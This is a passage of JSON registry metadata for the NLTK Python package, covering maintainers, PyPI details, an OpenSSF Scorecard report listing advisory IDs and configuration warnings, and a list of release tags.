02.214285714,"past_year_issues_closed_count":14,"past_year_pull_requests_closed_count":42,"past_year_pull_request_authors_count":31,"past_year_issue_authors_count":27,"past_year_avg_comments_per_issue":1.2647058823529411,"past_year_avg_comments_per_pull_request":3.91025641025641,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":1,"past_year_merged_pull_requests_count":26,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/issues","maintainers":[{"login":"ekaf","count":40,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":26,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"},{"login":"tomaarsen","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tomaarsen"},{"login":"alexrudnick","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/alexrudnick"},{"login":"stevenbird","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/stevenbird"}],"active_maintainers":[{"login":"ekaf","count":24,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":9,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/nltk/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/nltk/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/nltk/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/nltk/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/nltk/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/nltk/codemeta","maintainers":[],"registry":{"name":"anaconda.org","url":"https://anaconda.org","ecosystem":"conda","default":true,"packages_count":5167,"maintainers_count":0,"namespaces_count":0,"keywords_count":3232,"github":"Anaconda","metadata":{"kind":"anaconda","key":"Main","api":"https://repo.ananconda.com","funded_packages_count":759},"icon_url":"https://github.com/Anaconda.png","created_at":"2022-10-03T15:37:08.736Z","updated_at":"2026-06-10T05:18:41.108Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/namespaces"}},{"id":2819865,"name":"nltk","ecosystem":"pypi","description":"Natural Language Toolkit","homepage":"https://www.nltk.org/","licenses":"Apache License, Version 2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/nltk/nltk","keywords_array":["NLP","CL","natural language processing","computational linguistics","parsing","tagging","tokenizing","syntax","linguistics","language","natural language","text analytics"],"namespace":null,"versions_count":66,"first_release_published_at":"2009-07-15T09:32:16.000Z","latest_release_published_at":"2026-03-24T06:13:38.000Z","latest_release_number":"3.9.4","last_synced_at":"2026-06-12T04:11:39.764Z","created_at":"2022-04-10T11:45:39.060Z","updated_at":"2026-06-12T08:12:19.571Z","registry_url":"https://pypi.org/project/nltk/","install_command":"pip install nltk --index-url https://pypi.org/simple","documentation_url":"https://www.nltk.org/","metadata":{"funding":null,"documentation":"https://www.nltk.org/","classifiers":["Development Status :: 5 - Production/Stable","Intended Audience :: Developers","Intended Audience :: Education","Intended Audience :: Information Technology","Intended Audience :: Science/Research","License :: OSI Approved :: Apache Software License","Operating System :: OS Independent","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.13","Programming Language :: Python :: 3.14","Topic :: Scientific/Engineering","Topic :: Scientific/Engineering :: Artificial Intelligence","Topic :: Scientific/Engineering :: Human Machine Interfaces","Topic :: Scientific/Engineering :: Information Analysis","Topic :: Text Processing","Topic :: Text Processing :: Filters","Topic :: Text Processing :: General","Topic :: Text Processing :: Indexing","Topic :: Text Processing :: Linguistic"],"normalized_name":"nltk","project_status":null},"repo_metadata":{"id":657117,"uuid":"299862","full_name":"nltk/nltk","owner":"nltk","description":"NLTK Source","archived":false,"fork":false,"pushed_at":"2026-06-05T10:24:33.000Z","size":354785,"stargazers_count":14639,"open_issues_count":269,"forks_count":3010,"subscribers_count":442,"default_branch":"develop","last_synced_at":"2026-06-05T22:05:12.136Z","etag":null,"topics":["machine-learning","natural-language-processing","nlp","nltk","python"],"latest_commit_sha":null,"homepage":"https://www.nltk.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/nltk.png","metadata":{"files":{"readme":"README.md","changelog":"ChangeLog","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":"CITATION.cff","codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.md","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2009-09-07T10:53:58.000Z","updated_at":"2026-06-05T20:28:59.000Z","dependencies_parsed_at":"2023-07-05T15:16:46.493Z","dependency_job_id":"cbe8f0b1-5657-4fc2-ab64-5f7a827e77b4","html_url":"https://github.com/nltk/nltk","commit_stats":{"total_commits":13268,"total_committers":476,"mean_commits":"27.873949579831933","dds":0.6874434730177872,"last_synced_commit":"7397ccfed06e7c836d3acb0b9197f6e6b26c6741"},"previous_names":[],"tags_count":49,"template":false,"template_full_name":null,"purl":"pkg:github/nltk/nltk","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/refs/heads/develop","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/sbom","scorecard":{"id":690730,"data":{"date":"2025-08-11","repo":{"name":"github.com/nltk/nltk","commit":"aff0ecb71db1944182e9ee3a595084325933d0e1"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4.9,"checks":[{"name":"Code-Review","score":8,"reason":"Found 4/5 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":10,"reason":"23 commit(s) and 11 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Security-Policy","score":9,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Warn: One or no descriptive hints of disclosure, vulnerability, and/or timelines in security policy","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/labeler.yml:8","Warn: no topLevel permission defined: .github/workflows/cffconvert.yml:1","Warn: no topLevel permission defined: .github/workflows/ci.yaml:1","Warn: no topLevel permission defined: .github/workflows/labeler.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:110: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:116: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:123: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/labeler.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/labeler.yml/develop?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:29","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:52","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:105","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:106","Info:   0 out of  14 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   0 out of   4 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'develop'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: PYSEC-2023-23 / GHSA-jrwr-5x3p-hvc3","Warn: Project is vulnerable to: PYSEC-2023-24 / GHSA-vrjv-mxr7-vjf8","Warn: Project is vulnerable to: PYSEC-2021-142 / GHSA-8q59-q68h-6hv4","Warn: Project is vulnerable to: PYSEC-2018-49 / GHSA-rprw-h62v-c2w7","Warn: Project is vulnerable to: PYSEC-2020-107 / GHSA-jjw5-xxj6-pcv5","Warn: Project is vulnerable to: PYSEC-2024-110 / GHSA-jw8x-6495-233v","Warn: Project is vulnerable to: PYSEC-2020-108","Warn: Project is vulnerable to: PYSEC-2017-74"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T02:14:45.126Z","repository_id":657117,"created_at":"2025-08-22T02:14:45.126Z","updated_at":"2025-08-22T02:14:45.126Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34135197,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-10T02:00:07.152Z","response_time":89,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"nltk","name":"Natural Language Toolkit","uuid":"124114","kind":"organization","description":"","email":null,"website":"http://nltk.org","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/124114?v=4","repositories_count":10,"last_synced_at":"2024-03-25T20:23:21.452Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/nltk","funding_links":[],"total_stars":14866,"followers":264,"following":0,"created_at":"2022-11-02T16:31:24.682Z","updated_at":"2024-03-25T20:23:21.875Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk/repositories"},"tags":[{"name":"3.9.4","sha":"ad9c96ba00a16923ffe917eacf63f1707bfa2d08","kind":"tag","published_at":"2026-03-24T06:10:01.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.9.4","html_url":"https://github.com/nltk/nltk/releases/tag/3.9.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.9.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9.4/manifests"},{"name":"3.9.3","sha":"4154eb85e832f266660a09286c7e37e308292284","kind":"tag","published_at":"2026-02-24T11:52:11.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.9.3","html_url":"https://github.com/nltk/nltk/releases/tag/3.9.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.9.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9.3/manifests"},{"name":"3.9.2","sha":"4e17ea390c526ec9cb9e5ef5eb3733ac118dbb8d","kind":"tag","published_at":"2025-10-01T07:08:49.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.9.2","html_url":"https://github.com/nltk/nltk/releases/tag/3.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9.2/manifests"},{"name":"v3.9.2","sha":"4e17ea390c526ec9cb9e5ef5eb3733ac118dbb8d","kind":"tag","published_at":"2025-10-01T07:08:49.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/v3.9.2","html_url":"https://github.com/nltk/nltk/releases/tag/v3.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@v3.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/v3.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/v3.9.2/manifests"},{"name":"3.9.1","sha":"aca78cb2add4084f76b9eac921d8a73927d7a086","kind":"tag","published_at":"2024-08-19T01:25:00.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.9.1","html_url":"https://github.com/nltk/nltk/releases/tag/3.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9.1/manifests"},{"name":"3.9","sha":"24936a2d0c2ef1f4eed22de30aa72754e4cc30e7","kind":"tag","published_at":"2024-08-18T07:19:44.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.9","html_url":"https://github.com/nltk/nltk/releases/tag/3.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9/manifests"},{"name":"3.8.2","sha":"0753ee5bb0096b4a4b3dd587e784ce07e7f34dab","kind":"tag","published_at":"2024-08-10T00:30:18.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.8.2","html_url":"https://github.com/nltk/nltk/releases/tag/3.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.8.2/manifests"},{"name":"3.8.1","sha":"63a63b1a7793aceceb1efc23bc1fd87e7095f9d5","kind":"tag","published_at":"2023-01-02T15:33:58.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.8.1","html_url":"https://github.com/nltk/nltk/releases/tag/3.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.8.1/manifests"},{"name":"3.8","sha":"78952ef2d49e5281e30418c6f7778409e36d1765","kind":"tag","published_at":"2022-12-12T17:02:27.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.8","html_url":"https://github.com/nltk/nltk/releases/tag/3.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.8/manifests"},{"name":"3.7","sha":"ebe086922d67dd27a808f079575bdf3458891824","kind":"tag","published_at":"2022-02-09T12:35:58.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.7","html_url":"https://github.com/nltk/nltk/releases/tag/3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.7/manifests"},{"name":"3.6.7","sha":"9f4de183a868a9e48801809f283a5dd770f0cb50","kind":"tag","published_at":"2021-12-28T23:14:43.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.6.7","html_url":"https://github.com/nltk/nltk/releases/tag/3.6.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.6.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.7/manifests"},{"name":"3.6.6","sha":"4862b094ae4a9aa04396e06335ae52f7920e48c7","kind":"tag","published_at":"2021-12-21T02:09:23.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.6.6","html_url":"https://github.com/nltk/nltk/releases/tag/3.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.6/manifests"},{"name":"3.6.5","sha":"b42236425456418b64803f099f6ca1fc3d24031f","kind":"tag","published_at":"2021-10-11T03:48:12.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.6.5","html_url":"https://github.com/nltk/nltk/releases/tag/3.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.5/manifests"},{"name":"3.6.4","sha":"317c5f88ef66b039dc143a6ad78f2a61f362f03a","kind":"tag","published_at":"2021-10-01T01:53:28.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.6.4","html_url":"https://github.com/nltk/nltk/releases/tag/3.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.4/manifests"},{"name":"3.6.3","sha":"a1034bbec30c2ec5765c9497cb8167b26a3c5d0e","kind":"tag","published_at":"2021-09-19T22:33:59.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.6.3","html_url":"https://github.com/nltk/nltk/releases/tag/3.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.3/manifests"},{"name":"3.6.2","sha":"6797ee3958fe3fa0192d347b26ea0fc433b8bfc5","kind":"tag","published_at":"2021-04-20T04:51:22.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.6.2","html_url":"https://github.com/nltk/nltk/releases/tag/3.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.2/manifests"},{"name":"3.6.1","sha":"33ac28cfcad288c611c5901faa9ebc799e7c95dd","kind":"tag","published_at":"2021-04-07T23:45:06.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.6.1","html_url":"https://github.com/nltk/nltk/releases/tag/3.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.1/manifests"},{"name":"3.6","sha":"24d6e0d4123a5cfea3ede7dbdfe77fe0ec54b83c","kind":"tag","published_at":"2021-04-07T10:43:58.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.6","html_url":"https://github.com/nltk/nltk/releases/tag/3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6/manifests"},{"name":"3.5","sha":"6404712d0a64c3d6e3700032c23a59803615460c","kind":"tag","published_at":"2020-04-12T23:43:59.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.5","html_url":"https://github.com/nltk/nltk/releases/tag/3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.5/manifests"},{"name":"3.5b1","sha":"d22c84021c505e499acf701d8904d8c08400b43a","kind":"tag","published_at":"2020-03-08T00:20:19.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.5b1","html_url":"https://github.com/nltk/nltk/releases/tag/3.5b1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.5b1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.5b1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.5b1/manifests"},{"name":"3.4.5","sha":"acca8d573878e173379fe190d7f14f298b12dac9","kind":"tag","published_at":"2019-08-20T10:52:19.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.4.5","html_url":"https://github.com/nltk/nltk/releases/tag/3.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4.5/manifests"},{"name":"3.4.4","sha":"2554ff48feed878ba7e830ada9